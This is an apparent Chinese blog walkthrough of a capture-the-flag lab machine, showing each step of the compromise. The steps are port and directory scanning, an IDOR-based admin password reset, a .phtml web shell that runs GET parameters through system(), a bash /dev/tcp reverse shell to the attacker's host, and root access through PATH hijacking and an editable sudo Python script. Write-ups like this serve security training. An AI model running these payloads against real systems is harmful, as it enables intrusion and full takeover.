网站如何做问卷调查问卷,吉林城市建设学校网站,网络推广培训策划,响应式网站404页面怎么做#x1f36c; 博主介绍 #x1f468;#x1f393; 博主介绍#xff1a;大家好#xff0c;我是 _PowerShell #xff0c;很高兴认识大家~ ✨主攻领域#xff1a;【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 #x1f389;点赞➕评论➕收藏 养成习… 博主介绍 博主介绍大家好我是 _PowerShell 很高兴认识大家~ ✨主攻领域【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 点赞➕评论➕收藏 养成习惯一键三连 欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋 作者水平有限欢迎各位大佬指点相互学习进步 文章目录 博主介绍一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 扫描网络目录结构4. 水平越权利用5. 文件上传漏洞GETSHELL6. 提权6.1 环境变量劫持提权6.2 sudo提权 相关资源 一、靶场搭建
1. 靶场描述
Difficulty: Easy
Its a box for beginners, but not easy, Good Luck
Hint: Dont waste your time For Brute-Force在描述中作者提示该靶机不需要使用暴力破解。 2. 下载靶机环境
靶场源地址点击跳转点击图中标注处下载靶场源文件。 下载完成的文件如下 一般从网上下载的文件可以使用检验下载文件的检验码防止下载的文件被篡改或者部分缺失. # windwos 命令
Get-FileHash filePath -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建 解压下载的zip压缩文件之后使用VMware打开对应的ovf文件创建虚拟机。创建完虚拟机之后修改对应虚拟机的网路模式为NAT模式然后点击启动就行。 二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤
通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。nmap显示出存活主机之后根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24通过排除网关、kali虚拟机、物理主机ip之后确定靶机IP为192.168.37.132. 2. 探测靶场开放端口及对应服务 探测端口开放和对应开放端口服务识别一般使用nmap进行因为nmap指纹识别比较准确并且指纹库也比较全。 # 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.132结果图: 可以确认主机开放了80和22端口分别对应http服务和ssh服务以及http后台使用的PHP作为后台语言。到这里直接通过浏览器访问对应web服务。 3. 扫描网络目录结构 通过dirsearch扫描对应网站的目录结构看是否能在其中找到什么敏感文件或目录。 # 扫描目录结构命令
sudo dirsearch -u http://192.168.37.132 -x 404扫描出的目录之后可以一一进行访问存在/upload/推测是文件上传的目录推测网站中存在文件上传的地方。 4. 水平越权利用 找到系统的登录页面 随便输入账号和密码进行登录查看对应的请求参数使用sqlmap试试是否存在sql注入漏洞。 # 使用sqlmap测试是否存在sql注入的命令
sqlmap -u http://192.168.37.132/login.php --datausernameadminpasswordadmin发现登录的两个参数并不存在sql注入点。 发现register.php页面可以直接注册账号先注册一个账号看看登录之后有没有什么利用点。 登录之后的页面察觉到当前新注册用户的id为2推测系统存在自带的账号的id为1尝试将url上的id改为1看是否可以进行水平越权获取id1的用户的界面。 发现网站已经做了这种方式水平越权的检验。接下尝试使用页面上的修改密码查看请求中包含两个参数password和id。尝试修改请求包内容设置id1看是否支持可以通过篡改请求包的内容修改id1用户的密码。发现修改密码成功。 5. 文件上传漏洞GETSHELL 成功修改id1的密码我们知道系统自带用户的密码现在只需要尝试常见的用户名进行登录就行也可以在注册页面进行尝试因为用户名如果存在注册会失败。通过上述方法测试出来系统自带的用户的用户名为admin. 发现存在文件上传的地方尝试上传文件发现做了文件检验但也没有完全做。限制上传php后缀的文件但我修改成pHp后缀就能上传并不是只允许上传jpg,png,gif文件。并且发现这里上传的文件就保存之前扫描目录结构的/upload目录下。 上传过程中发现phtml文件可以上传成功可以利用这种类型文件执行php代码。phtml文件可以同时包含html文件和php代码。新建一个test1.phtml上传。 # 代码内容
?php
echo $_GET[x];
system($_GET[x]); //在主机上执行对应x参数的命令
?获取反向shell
# kali开启反向shell监听
nc -lvp 8888# x参数设置为
bash -c bash -i /dev/tcp/192.168.37.22/8888 01因为上述命令包含这和http中url中定义get请求参数的符号冲突需要进行http的urlencode.可以访问这个网站点击跳转进行编码.将对应x参数设置编码后的bash命令成功获取反弹shell。 6. 提权 获取反弹shell之后执行下面这段python代码创建一个交互性式的shell伪终端。 python3 -c import pty; pty.spawn(/bin/bash)拿到对应shell权限之后一般有数据库的web项目可以去查看数据库的账号和密码可能会多账户密码相同的情况。这个项目中账号和密码存放在/var/www/html/config/database.php中。发现数据库账号和密码都为john。 查看/home目录下存在john用户可以尝试使用数据库密码进行切换用户。但是登录失败。 尝试使用SUID文件进行提权 # 寻找具有SUID标志的文件
find / -perm -us 2/dev/null发现在/home/john/toto有一个具有suid标志的文件查看文件的所有者并且执行它分析它的逻辑。 发现这个命令的执行逻辑是查看john的用户信息推测里面执行了命令id john.尝试使用环境环境变量劫持提权。 6.1 环境变量劫持提权
环境变量劫持提权的命令
echo /bin/bash /tmp/id
chmod 777 /tmp/id
export PATH/tmp/:$PATH
# 调用命令
/home/john/toto成功将shell的权限升级为john在john的家目录下发现密码root123。 6.2 sudo提权 发现密码之后直接使用sudo -l看是否有可利用的点,发现john可以以root身份执行/usr/bin/python3 /home/john/file.py的命令。 查看file.py文件的内容之后发现john可以直接进行修改接下我们修改一下file.py,在里面添加一些创建新终端的代码以获得root身份。 echo import os;os.system(/bin/bash) /home/john/file.py
# 提权
sudo /usr/bin/python3 /home/john/file.py成功获取到root身份shell获取到最终flag. 相关资源
1、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程) 2、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-2 通关详解 (附靶机搭建教程) 3、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-3 通关详解 (附靶机搭建教程) 4、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-4 通关详解 (附靶机搭建教程) 5、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程) 6、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-6 通关详解 (附靶机搭建教程) 7、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-7 通关详解 (附靶机搭建教程) 8、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程) 9、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程) 10、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion1 通关详解 (附靶机搭建教程) 11、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 Corrosion2 通关详解 (附靶机搭建教程) 12、[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DarkHole:1 通关详解 (附靶机搭建教程)